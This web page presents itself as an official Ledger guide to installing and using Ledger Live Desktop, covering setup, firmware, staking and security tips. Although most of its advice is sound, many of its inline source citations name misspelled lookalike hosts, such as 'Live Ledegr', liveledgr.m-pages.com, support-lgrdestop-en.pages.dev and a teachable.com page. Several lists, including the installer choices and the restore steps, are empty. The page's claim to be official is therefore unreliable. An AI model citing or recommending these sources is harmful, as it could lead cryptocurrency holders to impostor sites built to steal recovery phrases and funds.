Ledger® Live: Desktop® — Getting Started | official Ledger …

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— 5 min read

1. What Is Ledger Live Desktop?

Ledger Live Desktop is the official desktop application developed by Ledger to manage your cryptocurrency hardware wallet (such as the Ledger Nano S Plus, Nano X, or Ledger Stax) from a Windows, macOS, or Linux computer. It acts as a secure interface between your Ledger device and the blockchain, enabling you to track balances, send and receive crypto, buy/sell assets, stake coins, manage NFTs and interact with Web3 — all while your private keys remain safely stored offline inside the Ledger hardware wallet. Ledger Live+1

The desktop version is particularly useful if you prefer working on a larger screen, need more advanced features, or regularly handle many assets. While Ledger Live also has a mobile app, the desktop version often gets new features and offers a more stable, comprehensive experience. Live Desktop

2. Why Ledger Live + Hardware Wallet Matters

Cold Storage + Software Interface

  • A hardware wallet stores your private keys offline in a secure chip, keeping them out of reach from online malware and hacking attempts.
  • Ledger Live desktop is the software that lets you interact with your wallet — such as viewing balances, signing transactions, installing apps for specific coins, and updating firmware — without exposing private keys to your computer’s operating system. Ledger Live

Security—The Core Purpose

  • Your private keys never leave the Ledger device. All critical operations — like signing a transaction — are confirmed on the hardware wallet itself.
  • You should never enter your 24-word recovery phrase into Ledger Live, a website, or another app. Ledger will never ask for your recovery phrase. Any request for it is a scam. Ledger Live

3. System Requirements & Preparation

Before getting started, ensure:

  • Your computer meets general OS requirements:
    • Windows 10 or higher
    • macOS 10.14 or higher
    • Linux (Ubuntu or similar, 64-bit) Live Ledegr
  • You have a supported Ledger device: Nano S Plus, Nano X, or Stax.
  • You have a USB cable (and Bluetooth pairing if using Nano X with some features).
  • A clean, updated computer with reliable internet.
  • A safe place to store your 24-word recovery phrase offline. Never save it digitally. Ledger Live

4. Step-by-Step Installation and Setup

Step 1 — Download Ledger Live Desktop

Always download Ledger Live from the official Ledger website:

👉 https://ledger.com/start or https://ledger.com/ledger-live Ledger Live+1

⚠️ Downloading from other sites or search results can expose you to fake installers designed to steal your recovery phrase or keys. TechRadar

Choose your operating system and download the official installer:

After the file finishes downloading, open it and follow the normal installation prompts.

Step 2 — Launch Ledger Live

After installation:

  1. Open Ledger Live Desktop.
  2. You’ll see a Welcome screen with options to “Get Started.” Live Ledegr

Step 3 — Connect Your Ledger Device

Connect your Ledger hardware wallet:

  • Use the USB cable supplied with the device.
  • Nano X: supported Bluetooth pairing is available for some features via mobile — but desktop typically uses USB. liveledgr.m-pages.com

Enter your device PIN directly on the hardware wallet when prompted — not on your computer. Ledger Live

Step 4 — Initialize or Restore Wallet

Ledger Live will ask whether you’re:

  • Setting up a new device, or
  • Restoring an existing wallet with your 24-word recovery phrase.

New users: Follow on-screen and on-device prompts to:

  • Create a secure PIN on your Ledger device.
  • Generate a 24-word recovery phrase.
  • Write it down offline using the sheet or a safe physical tool. Ledger Live

Restoring: If you already have a recovery phrase:

Important: The recovery phrase is the only backup of your wallet. Losing it means losing access to your crypto forever. support-live-desktop-us.pages.dev

Step 5 — Firmware Updates

After connecting and unlocking the device, Ledger Live may prompt you to update the firmware. Firmware updates:

  • Improve stability and features.
  • Patch vulnerabilities.

Follow on-screen instructions — updates are signed and verified via Ledger Live. support-live-desktop-us.pages.dev

Step 6 — Install Blockchain Apps & Add Accounts

Once your device is set up:

  1. Go to the “Manager” section in Ledger Live.
  2. Install apps for the cryptocurrencies you want to manage (e.g., Bitcoin, Ethereum, Solana). Ledger Live
  3. Return to “Accounts” and click “Add account” for each currency.

The app uses the Ledger device to derive addresses, then syncs balances and transaction history with your Ledger Live account. Ledger Live

5. Core Features of Ledger Live Desktop

Once setup is complete, Ledger Live lets you:

Portfolio Dashboard

  • View balances across all assets.
  • See real-time portfolio value and historical performance. Live Desktop

Send & Receive Crypto

  • Receive: generate an address, verify it on the Ledger device screen, then share.
  • Send: create the transaction in Ledger Live and confirm on your Ledger device. Live Ledegr

Always verify the address on the device screen, since malware can alter addresses at the OS level. Ledger Live

Buy, Swap & Exchange

Ledger Live offers integrations with trusted partners to:

Transactions still require confirmation on your physical Ledger device.

Staking

For supported coins like:

  • Ethereum (ETH)
  • Solana (SOL)
  • Polkadot (DOT)
  • Cosmos (ATOM)

Ledger Live lets you stake assets and earn rewards directly within the app. Ledger Live

NFT & Web3 Support

Ledger Live now includes:

  • NFT viewing (Ethereum & Polygon).
  • Integration with Web3 and decentralized apps (dApps) via secure means. Ledger Live

6. Security Best Practices

Always Use Official Sources

  • Download Ledger Live only from Ledger’s official website (ledger.com / ledger.com/start). Ledger Live

⚠️ Fake installers linked from non-official sites or search ads are an ongoing scam threat. TechRadar

Never Enter Your Recovery Phrase Online

  • Ledger will never ask for your 24-word seed phrase in Ledger Live or a website.
  • If anything requests this phrase, stop and verify you’re using the real Ledger site. Ledger Live

Verify Addresses & Confirm On Device

  • Always check the receive address shown on your hardware module screen — not on the computer screen alone. Ledger Live

Keep Firmware & Ledger Live Updated

  • Frequent updates improve wallet compatibility and security.
  • Apply updates via official prompts in Ledger Live. Ledger Live

Backup Storage

Store your recovery phrase:

  • Offline and physically, ideally in a safe.
  • Not on a photo, cloud storage, or digital note. Ledger Live

7. Troubleshooting Common Issues

Connection Problems

  • Ensure USB cable and ports work.
  • Reboot your computer and device if Ledger Live doesn’t detect the wallet.

Installation Errors

  • On some systems (like macOS), you may need to authorize the app in Security & Privacy settings.

Sync/Loading Problems

  • Sometimes Ledger Live can lag or fail to sync balances — try restarting or checking your internet. Some users report issues that update patches tend to fix. Reddit

Support & Help

  • Use the official Ledger Support Center for detailed troubleshooting guides.
  • Ledger doesn’t contact users unsolicited — if someone reaches out unexpectedly and asks for private info, treat it as a scam. Ledger Live

8. Advanced Tips & Features

Device Verification

Ledger Live can check the authenticity of your hardware device to ensure it hasn’t been tampered with. Ledger Live

Passphrase Security

Ledger supports optional passphrases (extra secret word layered on your seed). Only use if you fully understand the risks — losing it means losing access to funds. support-lgrdestop-en.pages.dev

Export Transaction History

For tax reporting or accounting, Ledger Live lets you export transaction records. desktop-ledger-engs.teachable.com

9. Summary — Why Use Ledger Live Desktop

Ledger Live Desktop is the official hub for securely managing your Ledger hardware wallet and crypto assets. It combines:

  • Cold storage security
  • Rich portfolio management
  • Staking & DeFi access
  • NFT support
  • Buy/swap integrations

All while keeping your private keys never exposed to the internet. Starting with Ledger Live and your Ledger device ensures your crypto holdings stay protected — but only when you follow safe practices and use official software. Ledger Live

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